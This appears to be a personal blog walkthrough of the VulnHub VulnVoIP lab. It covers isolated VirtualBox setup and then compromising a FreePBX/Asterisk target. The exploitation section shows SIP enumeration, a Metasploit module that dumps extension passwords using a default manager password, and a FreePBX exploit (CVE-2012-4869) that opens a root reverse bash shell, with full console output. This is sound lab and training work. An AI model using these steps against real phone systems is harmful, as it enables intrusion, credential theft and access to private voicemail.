Post cover image

July 5, 2026

VulnVoIP Setup/Walkthrough

I’ve been super interested in the security/exploit side of PBX/VoIP systems recently. There aren't many CTFs/Labs that simulate a hackable…

By Tim Ballada

12 min read

I've been super interested in the security/exploit side of PBX/VoIP systems recently. There aren't many CTFs/Labs that simulate a hackable VoIP environment, but I finally found one on VulnHub called VulnVoIP. The aim is to locate VoIP users, crack their passwords, and gain access to the Support account voicemail.

This post shows how I set up the VulnVoIP machine in VirtualBox with a dedicated Kali VM, and then my process to eventually get into the Support voicemail to listen to the message.

Part 1: Lab Design

The lab uses two virtual machines:

Windows host
    |
    └── VirtualBox Internal Network: vulnvoip-lab
             |
             ├── Kali-VoIP-Lab
             |
             └── VulnVoIP-Lab

Both VMs are connected to that same private network. The target does not use NAT, Bridged Networking, or Host-Only Networking while testing. Kali also uses only the internal adapter during an active VulnVoIP session.

This prevents the intentionally vulnerable PBX from reaching:

  • The home router or LAN
  • A production VoIP VLAN
  • The public internet
  • Shared host folders
  • USB devices attached to the host

What you need

  • A Windows host running Oracle VirtualBox
  • A Kali Linux VM
  • The HackLAB VULNVOIP archive from VulnHub
  • 7-Zip or another archive extractor
  • At least 4 GB of free disk space
  • A standard Windows user account with permission to run VirtualBox

The VulnVoIP archive contains a VMware configuration file and a VMDK virtual disk. VirtualBox can use the VMDK directly, but the target needs a few compatibility settings because it is based on an older AsteriskNOW/Linux release.

1. Download and verify VulnVoIP

Download the VulnVoIP archive from the VulnHub listing.

The expected MD5 hash is:

1411BC06403307D5CA2ECAE47181972A

On Windows, open PowerShell and verify the downloaded archive:

Get-FileHash "$HOME\Downloads\vulnVoIP.7z" -Algorithm MD5

Confirm that the output matches the expected hash before extracting it.

Extract the archive to a dedicated location. For example:

C:\VirtualBox VMs\VulnVoIP-Lab\

Do not open or execute the VMware .vmx file. It is useful only as a reference for the original virtual-hardware configuration.

2. Create the VulnVoIP target VM

In VirtualBox Manager:

  1. Select New at the top bar.
  2. Use the following basic settings:
None None

At the virtual-disk stage, select 'Use an Existing Virtual Hard Disk File'.

Click 'Add' to choose the extracted VulnVoIP.vmdk file from its location.

None

Right-click the new VulnVoIP-Lab VM and select 'Settings'

Use these values:

None

The target is old and may not boot reliably with newer virtual hardware settings. Keep the configuration simple.

3. Attach the VMDK to a SCSI controller

VulnVoIP was released for VMware. Older Linux appliances can fail to detect their root disk when the VMDK is attached to a VirtualBox SATA controller.

To avoid that problem, attach the disk to a VirtualBox SCSI controller that matches the original VMware configuration.

First, open the extracted .vmx file in Notepad and look for lines similar to:

scsi0.present = "TRUE"
scsi0.virtualDev = "lsilogic"
scsi0:0.present = "TRUE"

If the VMX file uses lsilogic, use an LSI Logic controller in VirtualBox.

Open VulnVoIP-Lab → Settings → Storage.

Select the existing VMDK attachment.

Remove the attachment only:

None

Click Add Controller and select the option 'LsiLogic (Default SCSI)

  1. Select the new SCSI controller.
  2. Click Add Hard Disk.
  3. Reattach the VulnVoIP VMDK disk.

Remove any unused SATA controllers afterward.

4. Configure the private VirtualBox network

Open VulnVoIP-Lab → Settings → Network

For Adapter 1, use the settings below:

None

Make sure adaptors 2–4 are not enabled.

5. Reduce host integration with the vulnerable VM

While still in VULNVOIP settings, disable unnecessary host integration.

Use the following settings:

Shared Clipboard: Disabled
Drag and Drop: Disabled
Shared Folders: None
USB Controller: Disabled
Audio: Disabled
Serial Ports: Disabled
Remote Display: Disabled

Do not install VirtualBox Guest Additions inside the vulnerable VM.

A vulnerable guest should not have access to host folders, the host clipboard, USB storage, or other host-integrated features.

6. Create a DHCP for the Internal Network

VulnVoIP expects to receive an address dynamically. Because this lab uses VirtualBox Internal Networking instead of NAT, I created a DHCP server directly on the internal network.

Open PowerShell on the Windows host and run:

$VBox = "$env:ProgramFiles\Oracle\VirtualBox\VBoxManage.exe"
& $VBox dhcpserver add `
  --network="vulnvoip-lab" `
  --server-ip=172.28.250.1 `
  --netmask=255.255.255.0 `
  --lower-ip=172.28.250.100 `
  --upper-ip=172.28.250.200 `
  --enable

This creates the following private address space:

Network:      172.28.250.0/24
DHCP server:  172.28.250.1
Lease pool:   172.28.250.100 to 172.28.250.200

If VirtualBox reports that the DHCP server already exists, modify and restart it instead:

& $VBox dhcpserver modify `
  --network="vulnvoip-lab" `
  --server-ip=172.28.250.1 `
  --netmask=255.255.255.0 `
  --lower-ip=172.28.250.100 `
  --upper-ip=172.28.250.200 `
  --enable
& $VBox dhcpserver restart --network="vulnvoip-lab"

This DHCP service is available only within the private VirtualBox network. It does not bridge the VMs to the home LAN.

7. Boot compatibility troubleshooting

On my system, VulnVoIP needed a temporary GRUB boot option before it would start normally.

If the VM hangs during boot or produces an I/O APIC timer panic:

  1. Power off the VM.
  2. Confirm that Enable I/O APIC is enabled in VirtualBox.
  3. Start the VM again.
  4. Immediately press Esc repeatedly to open the GRUB boot menu.
  5. Highlight the normal boot entry and press e to edit it.
None
  1. Highlight the line beginning with kerneland press e again.
None
  1. Add noapic at the end of the line, then hit Enter:
None
  1. Press b to boot the modified kernel entry.

This is temporary and applies only to the current boot.

A successful boot should eventually display the normal login screen.

If the VM instead reports that it cannot find VolGroup00, LogVol00, or the root filesystem, recheck the SCSI controller configuration. That usually indicates that the old Linux kernel cannot see the VMDK through the configured controller.

8. Snapshot the working target

Once the VulnVoIP target reaches its login screen, take a snapshot, e.g., '01-Booted-Clean'.

Use this snapshot as a restore point before experimenting with scans, credential attacks, Metasploit modules, or configuration changes.

9. Create the Attacking Linux VM

I just created a clone of my current Kali Linux VM that I use for CTFs and Labs. There are already plenty of full-fledged Kali Linux setup guides, so I won't go into detail on that here.

10. Install the VoIP assessment tools in Kali

Keep VulnVoIP powered off for this step.

Set the Kali VM's only network adapter to 'NAT'

Boot Kali and update the package index:

sudo apt update
sudo apt upgrade -y

Install the core tools used for reconnaissance, SIP assessment, packet capture, password auditing, and framework-based testing:

sudo apt install -y \
  nmap \
  arp-scan \
  sipvicious \
  wireshark \
  sipcrack \
  inviteflood \
  voiphopper \
  metasploit-framework \
  dsniff

These packages provide:

nmap                 Network and service discovery
arp-scan             Layer-2 host discovery
SIPVicious           SIP server and extension assessment
Wireshark            SIP and RTP packet inspection
sipdump / sipcrack   SIP digest capture parsing and offline cracking
inviteflood          SIP INVITE flood testing tool
voiphopper           Voice VLAN discovery and assessment tool
Metasploit           Framework for auxiliary modules and exploit research
arpspoof             ARP spoofing utility supplied by dsniff

Do not use flooding, spoofing, or denial-of-service-style tools outside a disposable, authorized lab.

Optionally, install Kali's larger VoIP metapackage for additional RTP, IAX, SIP fuzzing, and traffic-generation utilities:

sudo apt install kali-tools-voip

The smaller package list above is sufficient for the core VulnVoIP workflow.

After installing the tools, shut down Kali cleanly

Then change the Kali VM's Adapter 1 back to the vulnvoip-lab internal network.

Do not run Kali with both NAT and the Internal Network attached during VulnVoIP testing. Use NAT only when the target is powered off, and you need to install package updates or download packages.

Take a Kali snapshot after installing the tool, e.g., 'Kali-VoIP-Tools-Installed'.

11. Confirm connectivity and isolation

Start both VMs.

On Kali, identify the internal interface and address:

ip -br address
ip route

Kali should receive an address in the 172.28.250.100-200 range.

Discover the target:

sudo arp-scan --localnet

If necessary, scan the private lab subnet:

sudo nmap -n -sn -PR 172.28.250.0/24

Once the VulnVoIP address is identified, save it as an environment variable:

export TARGET=172.28.250.X
echo "$TARGET"

Replace X with the discovered host number.

Confirm that the lab is not reaching the home network:

ping -c 1 192.168.1.1

Replace 192.168.1.1 with the actual address of your home router if needed. The request should fail.

Part 2: Lab Exploitation

Before using VoIP-specific tools, collect a baseline of the exposed services.

I'll start with a light scan of all ports to see which are open:

sudo nmap --open -T4 --max-retries 2 -p1-65535 $TARGET

Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-02 22:26 -0500
Nmap scan report for 172.28.250.102
Host is up (0.013s latency).
Not shown: 65527 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
638/tcp  open  mcns-sec
3306/tcp open  mysql
5038/tcp open  unknown
MAC Address: 08:00:27:64:13:7A (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 53.75 seconds

Then run OS detection, version detection, and script scanning only against the ports that were found open:

sudo nmap -sV -sC -O -p 22,53,80,111,638,3306,5038 "$TARGET"

For example:

sudo nmap -sV -sC -O -p 22,53,80,111,638,3306,5038 $TARGET
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-02 23:35 -0500
Stats: 0:00:15 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.90% done; ETC: 23:35 (0:00:00 remaining)
Nmap scan report for 172.28.250.102
Host is up (0.0022s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
|   1024 1f:e2:e8:9e:2c:f8:31:39:36:f7:1d:aa:77:5e:ac:76 (DSA)
|_  2048 38:a4:9d:29:8a:11:9d:e1:13:5d:5e:6d:76:a6:63:76 (RSA)
53/tcp   open  domain   dnsmasq 2.45
| dns-nsid:
|_  bind.version: dnsmasq-2.45
80/tcp   open  http     Apache httpd 2.2.3 ((CentOS))
|_http-title: FreePBX
|_http-server-header: Apache/2.2.3 (CentOS)
| http-methods:
|_  Potentially risky methods: TRACE
| http-robots.txt: 1 disallowed entry
|_/
111/tcp  open  rpcbind  2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            635/udp   status
|_  100024  1            638/tcp   status
638/tcp  open  status   1 (RPC #100024)
3306/tcp open  mysql    MySQL (unauthorized)
5038/tcp open  asterisk Asterisk Call Manager 1.1
MAC Address: 08:00:27:64:13:7A (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.18 - 2.6.32
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.36 seconds

We can access the web GUI through the machine's IP address:

None

The Voicemail page looks to require the Mailbox extension and password, but it does reveal that this server is running FreePBX 2.5:

None

The Admin page just shows a username/password banner pop-up before letting you access anything.

We'll run the sippts enumerate command to find the supported SIP methods:

 sippts enumerate -i $TARGET
☎️  SIPPTS BY 🅿 🅴 🅿 🅴 🅻 🆄 🆇

╔═╗╦╔═╗╔═╗╔╦╗╔═╗  ┌─┐┌┐┌┬ ┬┌┬┐┌─┐┬─┐┌─┐┌┬┐┌─┐
╚═╗║╠═╝╠═╝ ║ ╚═╗  ├┤ ││││ ││││├┤ ├┬┘├─┤ │ ├┤
╚═╝╩╩  ╩   ╩ ╚═╝  └─┘┘└┘└─┘┴ ┴└─┘┴└─┴ ┴ ┴ └─┘

💾 https://github.com/Pepelux/sippts
🐦 https://twitter.com/pepeluxx

[✓] IP address: 172.28.250.102:5060/UDP

+-----------+-----------------------------------------+-----------------------+------------------+
| Method    | Response                                | User-Agent            | Fingerprinting   |
+-----------+-----------------------------------------+-----------------------+------------------+
| REGISTER  |                                         | Asterisk PBX 1.6.2.11 | Too many matches |
| NOTIFY    | 489 Bad event                           | Asterisk PBX 1.6.2.11 | Asterisk PBX     |
| SUBSCRIBE | 489 Bad Event                           | Asterisk PBX 1.6.2.11 | Asterisk PBX     |
| MESSAGE   | 415 Unsupported Media Type              | Asterisk PBX 1.6.2.11 | Asterisk PBX     |
| PUBLISH   | 501 Method Not Implemented              | Asterisk PBX 1.6.2.11 | Asterisk PBX     |
| CANCEL    | 481 Call leg/transaction does not exist | Asterisk PBX 1.6.2.11 | Asterisk PBX     |
| REFER     | 603 Declined (no dialog)                | Asterisk PBX 1.6.2.11 | Asterisk PBX     |
| PRACK     | 481 Call leg/transaction does not exist | Asterisk PBX 1.6.2.11 | Asterisk PBX     |
| OPTIONS   | 200 OK                                  | Asterisk PBX 1.6.2.11 | Asterisk PBX     |
| BYE       | 481 Call leg/transaction does not exist | Asterisk PBX 1.6.2.11 | Asterisk PBX     |
| UPDATE    | 481 Call leg/transaction does not exist | Asterisk PBX 1.6.2.11 | Asterisk PBX     |
| INFO      | 481 Call leg/transaction does not exist | Asterisk PBX 1.6.2.11 | Asterisk PBX     |
| ACK       | Timeout                                 |                       |                  |
| INVITE    | Timeout                                 |                       |                  |
+-----------+-----------------------------------------+-----------------------+------------------+

Then we'll use SVWAR with the INVITE method to identify the working extensions:

 svwar -m INVITE -D $TARGET
WARNING:TakeASip:using an INVITE scan on an endpoint (i.e. SIP phone) may cause it to ring and wake up people in the middle of the night
WARNING:TakeASip:extension '100' probably exists but the response is unexpected
WARNING:TakeASip:extension '100' probably exists but the response is unexpected
+-----------+----------------+
| Extension | Authentication |
+===========+================+
| 2000      | reqauth        |
+-----------+----------------+
| 101       | reqauth        |
+-----------+----------------+
| 102       | reqauth        |
+-----------+----------------+
| 100       | weird          |
+-----------+----------------+
| 200       | reqauth        |
+-----------+----------------+
| 201       | reqauth        |
+-----------+----------------+

You'll remember that in our in-depth Nmap scan, we found that the machine is using Asterisk Call Manager 1.1. We can also use svmap to gather more info on the SIP Server:

 svmap $TARGET -p 5060-5070
+---------------------+-----------------------+
| SIP Device          | User Agent            |
+=====================+=======================+
| 172.28.250.102:5060 | Asterisk PBX 1.6.2.11 |
+---------------------+-----------------------+

I searched for vulnerabilities related to Asterisk Call Manager 1.1 and Asterisk PBX 1.6.2.11. I eventually found a Metasploit exploit to reveal extension credentials:

msf > use auxiliary/gather/asterisk_creds
msf auxiliary(gather/asterisk_creds) > show options

Module options (auxiliary/gather/asterisk_creds):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  amp111           yes       The password for the specified username
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usi
                                        ng-metasploit.html
   RPORT     5038             yes       The target port (TCP)
   USERNAME  admin            yes       The username for Asterisk Call Manager

View the full module info with the info, or info -d command.

msf auxiliary(gather/asterisk_creds) > set rhost 172.28.250.102
rhost => 172.28.250.102
msf auxiliary(gather/asterisk_creds) > run
[*] Running module against 172.28.250.102
[*] 172.28.250.102:5038 - Found Asterisk Call Manager version 1.1
[+] 172.28.250.102:5038 - Authenticated successfully
[*] 172.28.250.102:5038 - Found SIP users
[-] 172.28.250.102:5038 - Did not find any IAX2 users
[*] 172.28.250.102:5038 - Found 6 users

Asterisk User Credentials
=========================

 Username  Secret          Type
 --------  ------          ----
 100                       sip
 101       s3cur3          sip
 102       letmein123      sip
 200       quit3s3curE123  sip
 201       secret123       sip
 2000      password123     sip

I tried using those credentials to log into the voicemail portal with no luck. I searched for vulnerabilities related to FreePBX 2.5 and a Metasploit module that exploits CVE-2012–4869:

msf > use exploit/unix/http/freepbx_callmenum
[*] No payload configured, defaulting to cmd/unix/php/meterpreter/reverse_tcp
msf exploit(unix/http/freepbx_callmenum) > show options

Module options (exploit/unix/http/freepbx_callmenum):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   EXTENSION  0-100            yes       A range of Local extension numbers
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, sock
                                         s5h, sapni, http, socks4
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp
                                         loit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                       no        HTTP server virtual host

Payload options (cmd/unix/php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  127.0.0.1        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

I changed the payload option to a bash reverse shell from the default PHP payload, and set the listener address statically instead of just the loopback address 127.0.0.1:

msf exploit(unix/http/freepbx_callmenum) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf exploit(unix/http/freepbx_callmenum) > set rhost 172.28.250.102
rhost => 172.28.250.102
msf exploit(unix/http/freepbx_callmenum) > set lhost 172.28.250.103
lhost => 172.28.250.103

After running the exploit through all the extensions we discovered, 2000 was the one that got the reverse shell:

msf exploit(unix/http/freepbx_callmenum) > set extension 100-102
extension => 100-102
msf exploit(unix/http/freepbx_callmenum) > run
[*] Started reverse TCP handler on 172.28.250.103:4444
[*] Exploit completed, but no session was created.
msf exploit(unix/http/freepbx_callmenum) > set extension 200-201
extension => 200-201
msf exploit(unix/http/freepbx_callmenum) > run
[*] Started reverse TCP handler on 172.28.250.103:4444
[*] Exploit completed, but no session was created.
msf exploit(unix/http/freepbx_callmenum) > set extension 2000-2001
extension => 2000-2001
msf exploit(unix/http/freepbx_callmenum) > run
[*] Started reverse TCP handler on 172.28.250.103:4444
[*] Command shell session 1 opened (172.28.250.103:4444 -> 172.28.250.102:44075) at 2026-07-04 18:52:58 -0500

id
uid=0(root) gid=0(root)

I searched through the common configuration files in /etc/ and /etc/asterisk. I ended up finding the credentials to log in to the Admin web portal in amportal.conf:

None

After getting logged in, I went to the Extensions tab and found the settings for 'Support'

None

It confirmed the SIP password is the same as the one we discovered earlier, but the voicemail password is different:

None

In hindsight, I should have tried to log in to all the extensions' mailboxes with 0000, since it's a common default password for phones.

I got logged in to the Voicemail portal with those credentials. Now we can download and listen to the sensitive voicemail:

None

This was an awesome lab to learn more about VoIP/PBX hacking. Eventually, I'd like to create my own vulnerable FreePBX machine, since there are so few of them available right now.

Resources I used for this lab: